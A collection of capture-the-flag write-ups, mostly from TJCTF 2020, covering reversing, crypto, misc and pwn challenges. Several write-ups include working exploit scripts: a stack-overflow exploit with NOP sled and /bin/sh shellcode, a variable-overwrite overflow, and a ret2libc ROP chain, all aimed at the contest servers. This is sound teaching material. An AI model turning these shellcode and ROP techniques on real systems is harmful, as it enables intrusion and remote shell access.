static u32 timer_calc_usec(u32 usecs){ u32 cur = timer_read(), khz = (*(u32*)(0xFDB88)); if (usecs > 500000) return cur + DIV_ROUND_UP(usecs, 1000) * khz; return cur + DIV_ROUND_UP(usecs * khz, 1000);}```Another annoyance that I found was `floppy_wait_irq` - we wait until we're interrupted by the floppy and the interrupt handler sets a global flag in memory. But we don't REALLY need to wait for the interrupt - we're only waiting for the floppy to finish processing our request, so we can assume that it will complete successfully, and for the waiting time, 1 millisecond should suffice :). So that call can be replaced with `msleep(1);` The call to `getDrive(EXTTYPE_FLOPPY, extdrive)` can be omitted as well, since we already checked the device type and we can populate it by ourselves:```drive_fl.cntl_id = 0; //floppyid;drive_fl.type = 0x10; //DTYPE_FLOPPY;drive_fl.blksize = 512; //DISK_SECTOR_SIZE;drive_fl.floppy_type = 4; //ftype;drive_fl.sectors = (u64)-1;
// 4 - 1.44MB, 3.5" - 2 heads, 80 tracks, 18 sectors
drive_fl.lchs.head = 2;drive_fl.lchs.cylinder = 80;drive_fl.lchs.sector = 18;```The code uses some MACROs such as `GET_FARVAR`, `GET_BDA` etc. These can be copied under the assumption that `MODESEGMENT=0` since we are running in Protected Mode. Last thing, we need a global variable `FLOPPY_DOR_VAL`. We can just choose a random address for it, we know that `0xc0000 - 0x100000` is mapped, so I randomly chose `0xc9ff0` (was doing some tests in `0xca000`)```#define FLOPPY_DOR_VAL (*(u32*)(0xc9ff0))```Compiling the code was a bit annoying, but after some trial and error I arrived at these flags:```gcc -m32 -Os -fomit-frame-pointer -Wno-builtin-declaration-mismatch -fno-stack-protector -fno-asynchronous-unwind-tables -march=i386 -c read_floppy.c -o read_floppy.o```And finally, after some tweaking I managed to get the code to work and read the first sector into the `0x7c0` segment (it's the segment being used in the boot sequence):```struct bregs br;
memset(&br, 0, sizeof(br));br.flags = F_IF;br.dl = 0; // drivebr.es = 0x7c0; // segmentbr.ah = 2; // read commandbr.al = 1; // sectors to readbr.cl = 1; // sector```Note that if this is successful, the memory will be written in address `0x7c00` (segment << 4). Now the only thing we need is to find the flag! We can parse the FAT partition, but we don't really need to, we can read multiple sectors and search for "OOO{". For some reason I missed the part that you can read multiple sectors at once, so I just made a loop that reads a single sector to address `0x7c00` and scans it for the beginning of the flag. Once the flag is found we only need to display it on the screen and we're done! The simplest solution, as I imagined it, would be to use the same function that the BIOS uses to display the "Welcome" string, but for some reason I didn't manage to get it to work, something would always break in the interrupt handler. I figured maybe the BIOS changed the VGA mode, so I decided to write directly to the VGA buffer (at address `0xb8000`) and surprisingly enough, this worked like a charm!```int i=0;while(*flag){ *(u16*)(0xb8000 + i) = (0x0F00) | *(flag++); i += 2;}```Just a reminder, writing a byte to the VGA buffer takes 2 bytes, where the MSB is the color scheme. 0x0F is "White on Black".That's it! I was too lazy to write a python script that will communicate with the server and display the output, so just pasted the base64 encoded shellcode, and after a second:```OOO{dont_make_fun_of_noobs_that_cant_read_from_floppies_it_aint_that_easy}```This was super fun, I remembered some vagua details about 8086 execution and Real/Proteted Modes, and this challenge was a good reminder and a good source of knowledge of things that I would have probably never seen otherwise :) |
# TJCTF – Timed
* **Category:** misc* **Points:** 50
## Challenge
> I found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.>> Attachments:> > nc p1.tjctf.org 8005
## Solution
they only gave us a netcat to connect to so lets see what does it actually do ?

it seems it runs python commands and returns their runtime, maybe we can use it to pop a shell lets try :

WTH ? no hacking ! ok fine lets see what does this filter do, lets try opening the flag.txt file and read it :

hmmm, what ?? they filtered the brackets : `()`, but not the read command XD, lets use that to our advantage
I was inspired by the title of the challenge and thought of a timing attack, so we can run a big for loop if a certain condition is True

see the timings are different so we can do something like this :

thats how we gonna extract the flag by trying every character for each position I wrote this [script](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/misc/timed/solve.py) to do exactly that
```tjctf{iTs_T1m3_f0r_a_flaggg}``` |
# TJCTF 2020
## ASMR
> 60>> I heard [ASMR](asmr.asm) is a big hit on the internet!>> Written by KyleForkBomb
Tags: _rev_ _x86-64_ _xor_
## Summary
Assembly the code, start up the service, put in the correct password, get an audio file, listen to the flag.
> I was just informed via Discord that this challenge was changed part way through the CTF. This is a write up of the original challenge, including the original source.
## Analysis
### Build, Test, Play
Build:
```nasm -o asmr.o -f elf64 asmr.asmld -o asmr asmr.o```
Test:
```# ./asmr```
Nothing. Test again:
```# strace ./asmrexecve("./asmr", ["./asmr"], 0x7ffcc3587830 /* 14 vars */) = 0socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3setsockopt(3, SOL_SOCKET, SO_REUSEADDR, "\1\0\0\0\0\0\0\0", 8) = 0bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0listen(3, 1) = 0accept(3, NULL, NULL```
Ah, a network service, so:
```# nc localhost 1337Enter password:```
There are two checks: _is the input `0x11` (17) characters_ (16 characters for the password + `\n`), and, _is the password `yellow_sunflower`_:
``` cmp rax, 0x11 <--- length jne label5 lea rax, [rbp-0x50] cmp BYTE [rax+16], 0x0a jne label5 mov BYTE [rax+16], 0x00 jmp label2label1: xor BYTE [rax], 0x69 <--- xor 0x69 with (yellow_sunflower) inc rax |label2: | cmp BYTE [rax], 0x00 | jne label1 | mov rax, 0x1a361e0605050c10 <---------------+ cmp QWORD [rbp-0x50], rax | jne label5 | mov rax, 0x1b0c1e06050f071c <---------------+```
From python:
```>>> bytes.fromhex(hex(int('0x' + '69' * 16,16) ^ 0x1b0c1e06050f071c1a361e0605050c10)[2:])[::-1]b'yellow_sunflower'```
> To find the above quickly I just used GDB and followed the code execution. Once I saw the `xor 0x69`, I just xor'd the entire binary and used `strings` to get the password.
After entering the correct password, a binary stream is emitted:
```Ogg data, Vorbis audio, mono, 8000 Hz, ~28000 bps, created by: Xiph.Org libVorbis I```
[Listen](foo) and get the flag.
## Solve
```shell# ./asmr & sleep 1; echo "yellow_sunflower" | nc localhost 1337 | dd bs=16 skip=1 >foo# play foo```
> This dude is seriously creepy.
Flag:
```tjctf{bub6le_wr4p_p0p}``` |
# TJCTF 2020
## OSRS
> 50>> My friend keeps talking about Old School RuneScape. He says he made a [service](osrs) to tell you about trees.>> I don't know what any of this means but this system sure looks old! It has like zero security features enabled...> > `nc p1.tjctf.org 8006`>> Written by KyleForkBomb
Tags: _pwn_ _x86_ _bof_ _remote-shell_ _gets_ _shellcode_ _nop-sled_
## Summary
No mitigations, 32-bit stack overflow, NOP sled, shellcode.
Retro.
## Analysis
### Checksec
``` Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```
No mitigations. Choose your own adventure.
### Decompile with Ghidra

Line 10, `gets` vulnerability. `local_110` is large enough for shellcode.
Line 14, leaks a stack address. Although the challenge server _has like zero security features enabled..._, the location of the stack may change:
```I don't have the tree -9332 :(I don't have the tree -9204 :(I don't have the tree -9188 :(I don't have the tree -9220 :(I don't have the tree -9156 :(```
However, the general vicinity does not change much (remotely).
`local_110` is `0x110` bytes above the return address:
``` int EAX:4 <RETURN> undefined4 Stack[-0x10]:4 local_10 undefined1 Stack[-0x110]:1 local_110 ```
We just need to write out `0x110` bytes, the estimated location of the return address (+4 for the next stack line), a NOP sled, some shellcode, and cross our fingers.
## Exploit
```python#!/usr/bin/python3
from pwn import *
#p = process('./osrs')p = remote('p1.tjctf.org', 8006)buf = 0xffffdc2b # -9173ret = buf + 0x110
#http://shell-storm.org/shellcode/files/shellcode-851.phpshellcode = b'\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00'
payload = 0x110 * b'A'payload += p32(ret + 4)payload += 100 * b'\x90'payload += shellcode
p.recvuntil('Enter a tree type:')p.sendline(payload)
p.interactive()```
Output:
```# ./exploit.py[+] Opening connection to p1.tjctf.org on port 8006: Done[*] Switching to interactive mode
I don't have the tree -9188 :($ cat flag.txttjctf{tr33_c0de_in_my_she115}``` |
# TJCTF – Circles
* **Category:** crypto* **Points:** 10
## Challenge
> Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.>> Attachments:> > >> hint :> > To obtain the flag, you should find the font that was used to encode the message in the picture. If you Google the description of the problem, the first website that pops up seems promising. Using a dictionary to guess/bruteforce words without finding the font will not help you. Each circle in the image represents an alphanumeric character that is part of the flag. The brackets and the underscore in the image are NOT part of the font used to encrypt the flag.
## Solution
we see that following the hint if we googled the description we find a cool website [fonts.com](fonts.com)
if we search for circular fonts we find this one :

then we open the character map and crack the cipher manually:
```tjctf{B3auT1ful_f0Nt}``` |
Zipped Up
```#import Ziblibimport osindex = 0 #begin index which is dir 0main = "./" # script directoryfor j in range(0,5000): #i don't know how many files inside zip,can be use wile loope instead prefix = "./" + str(index) + "/" # prefix = ./0/ filelist = os.listdir(prefix) # get file list in prefix ./0/ for i in filelist: print "prefix:"+prefix if "tar.bz2" in i: # start extract os.system("bzip2 -dk "+prefix+i) os.system("rm -rf "+prefix+i+"*.bz2") if str(index+1) in os.listdir(main): # if directory name 1 (i) is exist in main dir ./ increase index 1 index = index + 1 if "tar" in i: os.system("tar -xvf "+prefix+i) if str(index+1) in os.listdir(main): index = index + 1 if "kz3" in i: os.system("unzip "+prefix+i) if str(index+1) in os.listdir(main): index = index + 1 if "tar.gz" in i: os.system("tar -xzvf "+prefix+i) if str(index+1) in os.listdir(main): index = index + 1
``` |
# TJCTF 2020
## Tinder
> 25>> [Start swiping](tinder)!> > `nc p1.tjctf.org 8002`>> Written by agcdragon
Tags: _pwn_ _x86_ _bof_
## Summary
Simple buffer overflow into variable to control code flow.
## Analysis
### Decompile with Ghidra

The `input` function takes two parameters: buffer and length/16. For Name (`local_28`), Username (`local_38`), Password (`local_48`), not a problem, a length of `1.0` will only read 16 bytes. However, Bio (`local_88`) is allocated `64` bytes, yet the length parameter is `8.0` (`*16`), this can overflow into variables down stack, in particular `local_14`.
`local_14`, if set to `-0x3f2c2ff3` (`0xc0d3d00d`) will reveal the flag.
`main` function header:

To overwrite `local_14` starting at `local_88`, just write `0x88 - 0x14` bytes followed by `0xc0d3d00d` and the flag is yours.
## Exploit
```python#!/usr/bin/python3
from pwn import *
#p = process('./tinder')p = remote('p1.tjctf.org', 8002)
p.recvuntil('Name: ')p.sendline('foo')p.recvuntil('Username: ')p.sendline('foo')p.recvuntil('Password: ')p.sendline('foo')p.recvuntil('Bio: ')
payload = (0x88 - 0x14) * b'A'payload += p32(0xc0d3d00d)p.sendline(payload)p.stream()```
Output:
```# ./exploit.py[+] Opening connection to p1.tjctf.org on port 8002: Done
Registered 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\xd3\xc0' to TJTinder successfully!Searching for matches...It's a match!Here is your flag: tjctf{0v3rfl0w_0f_m4tch35}``` |
# Give away 2 writeup
## Content
This writeup is about PWN challenge
* libc-2.27.so: shared library (given) * give_away_2: challenge binary (given) * ropy_exploit.py: Full exploit

## Binary analysis
Quick check of the binary on ida gives
* main

* vuln

checksec reveal that PIE is enabled which explain the purpose of leaking the address of main. So we can compute the base of the progrma later

## Exploit
The attack will be ret2libc but first we need to leak libc base using rop attack.
1. Step I: leaking `__libc_start_main` address
```pythonbase_prog = MAIN - 0x864 # compute the program base address based on the main address printed out from the program
PRINTF = elf.plt['printf'] + base_prog LIBC_START_MAIN = elf.symbols['__libc_start_main'] + base_prog
POP_RDI = 0x0000000000000903 + base_progPOP_RSI = 0x0000000000000901 + base_progRET = 0x0000000000000676 + base_prog
#Overflow buffer until return addresspadding = "A"*40# Create rop chainrop2 = padding +p64(POP_RDI) + p64(LIBC_START_MAIN) + p64(RET) + p64(PRINTF) + p64(RET)+p64(MAIN)#Send our rop-chain payloadp.sendline(rop2)```
2. Step II: Parse the leaked address
```pythonrecieved = p.recvline().strip().split('Give')leak = u64(recieved[0].ljust(8, "\x00"))log.info("Leaked libc address, __libc_start_main: %s" % hex(leak))
libc.address = leak - libc.sym["__libc_start_main"]log.info("Address of libc %s " % hex(libc.address))```
3. Step III: Create and send the final rop
```python
BINSH = next(libc.search("/bin/sh")) SYSTEM = libc.sym["system"]
log.info("bin/sh %s " % hex(BINSH))log.info("system %s " % hex(SYSTEM))
final_rop = padding + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(RET) + p64(SYSTEM)
p.sendline(final_rop)```
## Notes
* Find the full exploit in `ropy_exploit.py`* Flag: shkCTF{It's_time_to_get_down_to_business}
* The length of the payload had to be multiple of 16 because the stack should be 16-byes aligned that's why we add RET in the rop chain. Otherwise you'll stuck in the movaps segfault problem (it was my case :') )
 |
# Censorship

Upon connecting to the server, you have to solve a math problem to see the information.
```$ nc p1.tjctf.org 8003To prove you are worthy of this information, what is 4 + 4?8
tjctf{[CENSORED]}```
When you solve the problem, you get back `tjctf{[CENSORED]}`
I thought that the data might be hidden, so I made a python script to solve the math and print what it receives.
```pythonfrom pwn import *
r = remote('p1.tjctf.org', 8003)
r.recvuntil("what is ")
problem = r.recvuntil("?").decode().replace("?", "")print(problem)
r.send(str(eval(problem)))r.send('\n')
r.interactive()```
When you run the script, you can see the actual hidden flag.
```$ py sol.py[+] Opening connection to p1.tjctf.org on port 8003: Done2 + 4[*] Switching to interactive mode
tjctf{TH3_1llum1n4ti_I5_R3aL}tjctf{[CENSORED]} [*] Got EOF while reading in interactive```
Flag: `tjctf{TH3_1llum1n4ti_I5_R3aL}` |
# Chord Encoder

We are given a [python script](chord_encoder.py), along with two more files, [chord.py](chord.py) and [notes.txt](notes.txt).
```pythonf = open('song.txt').read()
l = {'1':'A', '2':'B', '3':'C', '4':'D', '5':'E', '6':'F', '7':'G'}chords = {}for i in open('chords.txt').readlines(): c, n = i.strip().split() chords[c] = n
s = ''for i in f: c1, c2 = hex(ord(i))[2:] if c1 in l: c1 = l[c1] if c2 in l: c2 = l[c2] s += chords[c1] + chords[c2]open('notes.txt', 'w').write(s)```
It looks like we have to recover `song.txt` to get the flag.
My first attempt at doing this was literally do the reverse of what it was doing.
The program encoded the flag by converting the flag to hex and splitting the two hex digits. Then, it checks if the character is in the range 1-7. If it is, it is turned into its alphabetical representation. Then, it converts that chord to the corresponding numbers found in [chords.txt](chords.txt). The output goes into [notes.txt](notes.txt). This is a very poor way of encrypting messages, as not every character can fit this specification. (More on that later.)
I spent a lot of time making a script that does exactly the reverse of this. I converted the numbers back to chords using a loop, shown below.
```pythonwhile len(notes) != 0: for chord in chords: if notes[:len(chord[0])] == chord[0]: nC += chord[1] notes = notes[len(chord[0]):] print(nC) print(notes) break```
...but it was having some truble decoding it. Looking at [chords.txt](chords.txt), there are two chords that are very similar to one another:
```D 020E 0200```
Very similar indeed. But how to tell the difference?
I decided to make a variable called success, and set it to true if it didn't fail to find a chord. Then, if it failed, it would just simply replace the D with an E. It's a bit hacky, as you can tell just by looking at it, but at the time I thought that I was sooo clever and smart and that it would work perfectly.
```pythonwhile len(notes) != 0: for chord in chords: success = False if notes[:len(chord[0])] == chord[0]: nC += chord[1] notes = notes[len(chord[0]):] print(nC) print(notes) success = True break if not success: ## Probably because of the dumb D and E, we need to fix that, because they are similar note = nC.pop() nC.append('E') notes = notes[1:] ## remove the one from the beginning, should help```
Then, using the chords in [chords.txt](chords.txt), I converted the chords to hex digits..
```pythonhf = []for c in nC: for i in range(len(chords)): if c == chords[i][1]: c = chords[i][1] if c in l: c = l[c] hf += c
print(hf)```
...combined the digits...
```pythonlagArr = []
for i in range(int(len(hf) / 2)): flagArr.append('0x' + hf[i*2] + hf[(i*2)+1])
print(flagArr)```
...and combined the chars to get the flag.
```pythonflag = ''for c in flagArr: flag += chr(int(c, 16))
print(flag)```
I thought that would be the solution, but of course not.
```flag{zatsEwotE1EcallEaEmd\oDu```
Close, but not good enough.
I tried everything I could to make it work, I spent so much time trying to fix it...
```pythonif not success: ## Probably because of the dumb D and E, we need to fix that, because they are similar note = nC.pop() if note == 'D': nC.append('E') notes = notes[1:] ## remove the one from the beginning, should help if note == 'd': nC.append('e') notes = notes[1:] ## remove the one from the beginning, should help if note == 'g': nC.append('g')```
...but that just made it worse:
```flag{zatsWv÷E1V6ÆÅaVÖ\oD~```
I had no idea what to do next. I was stumped. Then I saw the hint:

Pathfinding! Of course! Why didn't I think of that?
I copied the original [chord encoder script](chord_encoder.py) and modified it so it would take every ASCII char as input. Then, I printed out every possible chord combination. This is smarter, because it is looking at full characters, not just split hex parts of characters.
```pythonf = ''.join([chr(i) for i in range(0, 256)])
l = {'1':'A', '2':'B', '3':'C', '4':'D', '5':'E', '6':'F', '7':'G'}chords = {}for i in open('chords.txt').readlines(): c, n = i.strip().split() chords[c] = n
s = ''for i in f: try: c1, c2 = hex(ord(i))[2:] if c1 in l: c1 = l[c1] if c2 in l: c2 = l[c2] print(hex(ord(i)), chords[c1]+chords[c2]) ## print all possible combinations s += chords[c1]+chords[c2] except: ## if there was an error, just do nothing int() ## this is what I just use as a placeholder function in python, nothing special here```
I then piped the output to a file.
```$ py possible_chars.py > pc$ cat pc0x11 011201120x12 011221100x13 011210120x14 01120200x15 011202000x16 011211210x17 01120010x1a 011201220x1b 011221000x1c 011210020x1d 01120100x1e 011201000x1f 011210110x21 211001120x22 211021100x23 21101012...```
On to coding the pathfinder. First, I read the notes from a file, and read the possible chars file we created earlier.
```pythonfn = input("File to decode? ")
with open(fn, 'r') as file: notes = file.read().replace('\n', '')
with open('pc', 'r') as file: pc = file.read().split('\n') ## possible chars
for i in range(len(pc)): pc[i] = pc[i].split(' ')```
The pathfinder then loops through all the possible chars and compares them to the notes, but this time it doesn't break on the first match. Instead, it creates a node for each match it finds. Each node does the same thing, and then it deletes itself upon completion. This essentially goes through every path until the final message is found. You can see the code [here](sol.py).
```$ py sol.pyFile to decode? notes.txtfflflaflagflag{flag{zflag{zaflag{zatflag{zauflag{zatsflag{zatsMflag{zats_flag{zats_wflag{zats_woflag{zats_wotflag{zats_wouflag{zats_wotMflag{zats_wot_flag{zats_wot_1flag{zats_wot_1Mflag{zats_wot_1_flag{zats_wot_1_cflag{zats_wot_1_caflag{zats_wot_1_calflag{zats_wot_1_callflag{zats_wot_1_callMflag{zats_wot_1_call_flag{zats_wot_1_call_aflag{zats_wot_1_call_aMflag{zats_wot_1_call_a_flag{zats_wot_1_call_a_mflag{zats_wot_1_call_a_mdflag{zats_wot_1_call_a_meflag{zats_wot_1_call_a_melflag{zats_wot_1_call_a_meloflag{zats_wot_1_call_a_meloDflag{zats_wot_1_call_a_meloEflag{zats_wot_1_call_a_meloD}```
Flag: `flag{zats_wot_1_call_a_meloD}` |
# TJCTF 2020
## Difficult Decryption
> 100>> We intercepted some communication between two VERY important people, named Alice and Bob. Can you figure out what the encoded message is?>> Written by saisree> > [intercepted.txt](intercepted.txt)
Tags: _crypto_ _discrete-log_
## Summary
Weak crypto, nothing more than a discrete log solve.
## Analysis
From [intercepted.txt](intercepted.txt):
```Alice:
Modulus: 491988559103692092263984889813697016406Base: 5Base ^ A % Modulus: 232042342203461569340683568996607232345-----Bob:
Here's my Base ^ B % Modulus: 76405255723702450233149901853450417505-----Alice:
Here's the encoded message:12259991521844666821961395299843462461536060465691388049371797540470
I encoded it using this Python command:
message ^ (pow(your_key, A,modulus))
Your_key is Base ^ B % Modulus.After you decode the message, it will be a decimal number. Convert it to hex.You know what to do after that.```
To decrypt, just provide `A` to `message ^ (pow(your_key, A,modulus))` where `your_key` is provided from Bob as `76405255723702450233149901853450417505`.
To get `A`, just use your favorite discrete log function.
## Solve
```python#!/usr/bin/python3
from sympy.ntheory.residue_ntheory import discrete_log
M=491988559103692092263984889813697016406P=232042342203461569340683568996607232345B=5A=discrete_log(M,P,B)message = 12259991521844666821961395299843462461536060465691388049371797540470bobkey = 76405255723702450233149901853450417505
text = bytes.fromhex(hex(pow(bobkey, A, M) ^ message)[2:]).decode('ASCII')print(text)```
One-liner, if you're into brevity:
```python3 -c "print(bytes.fromhex(hex(pow(76405255723702450233149901853450417505,__import__('sympy.ntheory.residue_ntheory').discrete_log(491988559103692092263984889813697016406,232042342203461569340683568996607232345,5),491988559103692092263984889813697016406) ^ 12259991521844666821961395299843462461536060465691388049371797540470)[2:]).decode('ASCII'))"```
This runs in less than one second and outputs:
```tjctf{Ali3ns_1iv3_am0ng_us!}``` |
# Gym

We are given an [executable we need to reverse](gym). I used [ghidra](https://ghidra-sre.org/) to decompile the binary. You can find the decompiled source [here](gym.c).
```$ ./gymI'm currently 211 lbs. Can I be exactly 180? Help me out!-------------------------Today is day 1.
Choose an activity:[1] Eat healthy[2] Do 50 push-ups[3] Go for a run.[4] Sleep 8 hours.```
The goal of the challenge is to get to 180 pounds. We have 4 choices to choose from.
```cfgets(local_98,4,stdin);iVar1 = atoi(local_98);if (iVar1 == 2) { iVar1 = do_pushup((ulong)local_a8); local_ac = local_ac - iVar1;}else { if (iVar1 < 3) { if (iVar1 == 1) { iVar1 = eat_healthy((ulong)local_a8); local_ac = local_ac - iVar1; } } else { if (iVar1 == 3) { iVar1 = go_run((ulong)local_a8); local_ac = local_ac - iVar1; } else { if (iVar1 != 4) goto LAB_00100b5d; } iVar1 = go_sleep((ulong)local_a8); local_ac = local_ac - iVar1; }}```
Depending on what we choose, the result of the function that is called is what is subtracted from the weight.
```cint eat_healthy(void){ return 4;}
int do_pushup(void){ return 1;}
int go_run(void){ return 2;}
int go_sleep(void){ return 3;}```
Unfortunately, we only have 7 days to reach our goal. We need to lose a total of 31 pounds to get the flag. But if we lose 4 pounds every day for a week, we can only lose 28 pounds max. What to do?
Well, there's actually a bug in the code:
```cif (iVar1 == 3) { iVar1 = go_run((ulong)local_a8); local_ac = local_ac - iVar1;}else { if (iVar1 != 4) goto LAB_00100b5d;}iVar1 = go_sleep((ulong)local_a8);local_ac = local_ac - iVar1;```
If you enter in a 3, the result of `go_run()` is subtracted from the total weight. But here's the thing. `go_sleep()` is also subtracted from the weight after that, due to poor coding. This bug could have been prevented were it written this way:
```cif (iVar1 == 3) { iVar1 = go_run((ulong)local_a8); local_ac = local_ac - iVar1;}else { if (iVar1 != 4) goto LAB_00100b5d; iVar1 = go_sleep((ulong)local_a8); local_ac = local_ac - iVar1;}```
This means that instead of subtracting 2 pounds from the weight, as intended, 5 pounds is subtracted instead! :O
I made a simple python script to do all the math for me, because I'm too lazy to do it myself honestly.
```pythonfrom pwn import *
if 'rem' in sys.argv: r = remote('p1.tjctf.org', 8008)else: r = process('./gym')
## Person is 211 lbs, he/she needs to be 180## [2] Do 50 push-ups - Lose 1 pound## [4] Sleep 8 hours. - Lose 3 pounds## [1] Eat healthy - Lose 4 pounds## [3] Go for a run. - Lose 5 pounds
order = [3, 1, 4, 2]
tL = 211 - 180 ## toLose
count = 0while tL != 0: if count != 0: a = 4 - count else: a = 5 while tL >= a: tL -= a print(tL) r.send(str(order[count])) r.send('\n') count += 1r.interactive()```
```$ py sol.py rem[+] Opening connection to p1.tjctf.org on port 8008: Done...Congrats on reaching your weight goal!Here is your prize: tjctf{w3iGht_l055_i5_d1ff1CuLt}[*] Got EOF while reading in interactive$```
Flag: `tjctf{w3iGht_l055_i5_d1ff1CuLt}` |
# ASMR

Alright, this was a really fun assembly reversing challenge. If you don't know much about x86 or x86_64 assembly, I would highly recommend [watching these tutorials](https://www.youtube.com/playlist?list=PLetF-YjXm-sCH6FrTz4AQhfH6INDQvQSn). The first tutorial teaches you how to compile assembly code using nasm.
We are given the [assembly source](asmr.asm) of the binary. You can compile it like so:
```sudo apt-get install nasmnasm -f elf64 -o asmr.o asmr.asmld asmr.o -o asmr```
The first thing I noticed was that there are a lot of different system calls I don't even know about.
```mov rax, 0x29mov rdi, 0x02mov rsi, 0x01mov rdx, 0x00syscall```
The ID of a system call is stored in rax. I already knew four of from the tutorial above, but I didn't know about any others. Here's some basic ones for you:
[](https://youtu.be/BWRR3Hecjao)
I found a table with [all the linux system calls](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) online after some searching. I know that the system call ID is stored in `rax`, so I converted hex `0x29` to decimal form, and looked up the code on the site.
[](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
Looks like the program creates a socket. I ran `strace` on the executable to see what port it's running on.
```$ strace ./asmrexecve("./asmr", ["./asmr"], 0x7ffefc3d90d0 /* 42 vars */) = 0socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3setsockopt(3, SOL_SOCKET, SO_REUSEADDR, "\1\0\0\0\0\0\0\0", 8) = 0bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0listen(3, 1) = 0accept(3, NULL, NULL```
Looks like it's running on port 1337. Nice.
If you aren't using strace, you can just as easily reverse the assembly code to see what port it's running on. See code below.
```main: push rbp mov rbp, rsp sub rsp, 0x50 mov rax, 0x29 ## sys_socket mov rdi, 0x02 mov rsi, 0x01 mov rdx, 0x00 syscall ## create socket mov QWORD [rbp-0x10], rax mov rax, 0x36 ## sys_setsockopt mov rdi, QWORD [rbp-0x10] mov rsi, 0x01 mov rdx, 0x02 mov QWORD [rbp-0x50], 0x01 lea r10, [rbp-0x50] mov r8, 0x08 syscall mov rax, 0x31 ## sys_bind mov rdi, QWORD [rbp-0x10] push 0x00 mov bx, 0x0539 ## port 1337 xchg bh, bl shl ebx, 0x10 mov bx, 0x02 push rbx mov rsi, rsp add rsp, 0x10 mov rdx, 0x10 syscall mov rax, 0x32 ## sys_listen mov rsi, 0x01 syscall mov rax, 0x2b ## sys_accept mov rsi, 0x00 mov rdx, 0x00 syscall```
I went ahead and connected to the port using nc, while the executable was running.
```jordan@notyourcomputer:~$ nc 0.0.0.0 1337Enter password:```
It looks like it's asking for a password. What's next?
Well, let's keep dissecting the code.
I fond out that the next bit of code just sends out `Enter password: ` to the socket. It stores the hex bytes of each character on the stack, and then calls `sys_write` with the pointer to the string in `rsi` and the pointer to the socket in `rdi`
```mov QWORD [rbp-0x08], raxmov rbx, 0x6170207265746e45 ## Enter pamov QWORD [rbp-0x50], rbxmov rbx, 0x203a64726f777373 ## ssword:mov QWORD [rbp-0x48], rbxmov rax, 0x01 ## sys_writemov rdi, QWORD [rbp-0x08]lea rsi, [rbp-0x50]mov rdx, 0x10syscall ## Write "Enter password: " to socket```
The next piece of code reads 64 bytes of user input.
```mov rax, 0x00 ## sys_readlea rsi, [rbp-0x50] ## Huh? We are overwriting the "Enter password: " string! ## Must be being reused to store input from user ## It is stored 80 bytes below the base pointer ## [rbp-0x50] is where the inputted password is storedmov rdx, 0x40 ## read 64 bytes of datasyscall ## get the data!```
This is where I got confused for a bit.
```cmp rax, 0x11jne label5```
`rax` has to be equal to `0x11`, or else the program jumps to `label5`.
Looking at the code in `label5`, all it does is send out `Nope!\n` to the socket.
```label5: ## Password is incorrect if program jumps here mov rbx, 0x0a2165706f4e ## "Nope!\n" mov QWORD [rbp-0x50], rbx mov rax, 0x01 ## sys_write mov rdi, QWORD [rbp-0x08] lea rsi, [rbp-0x50] mov rdx, 0x06 syscall ## write "Nope!\n" to socket```
I'm assuming that means that the password is incorrect. That means that whenever the program jumps to `label5` the password is incorrect.
This is where I got confused. `rax` is set to `0x00` so the program can call `sys_read`, why the heck would it compare `rax` to `0x11` afterwards? We know that it's still zero, right?
Well, no. Apparently, system calls store their return value in `rax`. And `sys_read` returns the number of bytes read in `rax`.
[](https://www.man7.org/linux/man-pages/man2/read.2.html)
I know that the picture above is talking about C, but it's exactly the same for `sys_read`.
So this code...
```cmp rax, 0x11jne label5```
...is checking if the password is 17 characters long. If it's not, then the password is incorrect.
```cmp rax, 0x11 ## password has to be 17 characters in lengthjne label5 ## jumping to label5 is a fail```
The next bit of code checks if the 17th character is a line break. Okay then, the password is 16 characters, but still technically 17. Then, the code turns the line break into a null (so the string is null-terminated) and then starts the actual check.
```lea rax, [rbp-0x50] ## rax stores pointer of password (user input given)cmp BYTE [rax+16], 0x0a ## Again, password is 17 chars, why do you have to check it twice? ## Well, it's technically 16 with a terminator (line break)jne label5mov BYTE [rax+16], 0x00 ## change that line break to a nulljmp label2 ## start of actual check```
Great! What's next?
For whatever reason, I decided to input 16 test characters into a program, and set a breakpoint in gdb, so I can analyze what it does.
```(gdb) b *label1Breakpoint 1 at 0x4010fe(gdb) rStarting program: /home/jordan/CTF-writeups/TJCTF2020/asmr/asmr
```
```jordan@notyourcomputer:~$ nc 0.0.0.0 1337Enter password: ABCDEFGHIJKLMNOP```
```Breakpoint 1, 0x00000000004010fe in label1 ()(gdb)```
Great! Now let's start debugging.
```(gdb) x/100s $rax0x7fffffffe160: "ABCDEFGHIJKLMNOP"...(gdb) cContinuing.
Breakpoint 1, 0x00000000004010fe in label1 ()(gdb) x/100s $rax0x7fffffffe161: "BCDEFGHIJKLMNOP"...(gdb) x/100s $rax0x7fffffffe162: "CDEFGHIJKLMNOP"
```
Hm... Wonder what this does.
Looking at the code, it looks like it does a bitwise XOR with each of the chars of the password with 0x69:
```label1: xor BYTE [rax], 0x69 ## xor char with 0x69 inc rax ## increment pointerlabel2: cmp BYTE [rax], 0x00 ## loop through all chars (null terminated) jne label1 ## continue at end of string```
I added another breakpoint in label2 after the loop was over in gdb, and printed out the string to double check.
